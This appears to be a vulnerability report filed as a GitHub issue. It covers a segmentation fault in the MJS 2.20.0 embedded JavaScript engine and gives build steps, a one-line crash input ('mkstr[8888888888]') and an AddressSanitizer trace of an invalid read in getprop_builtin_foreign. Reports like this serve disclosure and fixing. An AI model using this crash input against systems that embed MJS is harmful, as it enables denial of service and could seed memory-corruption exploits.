SEGV mkstr

[Vincebye]

mkstr

Environment

Ubuntu 22.04.3 LTS

Affected Version

MJS 2.20.0

Step to reproduce

cd mjs 
git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551 
export LDFLAGS="-lpthread -latomic" 
./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g 
./mjs-bin -f poc.js 

Contents of PoCfile

mkstr[8888888888]

ASAN Report

v@DESKTOP-DPIU403:~/jse/mjs$ ./mjs-bin poc5.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==10434==ERROR: AddressSanitizer: SEGV on unknown address 0x559d5a28db18 (pc 0x559d485e4570 bp 0x7ffe42ec3f70 sp 0x7ffe42ec3ea0 T0)
==10434==The signal is caused by a READ memory access.
    #0 0x559d485e4570 in getprop_builtin_foreign /home/v/jse/mjs/mjs.c:8472:31
    #1 0x559d485dfb5f in getprop_builtin /home/v/jse/mjs/mjs.c:8509:17
    #2 0x559d48585b43 in mjs_execute /home/v/jse/mjs/mjs.c:8661:14
    #3 0x559d4857d4d4 in mjs_exec_internal /home/v/jse/mjs/mjs.c:9044:5
    #4 0x559d4857dcb3 in mjs_exec_file /home/v/jse/mjs/mjs.c:9067:11
    #5 0x559d4858f5e8 in main /home/v/jse/mjs/mjs.c:11423:11
    #6 0x7fd401255d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #7 0x7fd401255e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #8 0x559d484613d4 in _start (/home/v/jse/mjs/mjs-bin+0x283d4)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/v/jse/mjs/mjs.c:8472:31 in getprop_builtin_foreign
==10434==ABORTING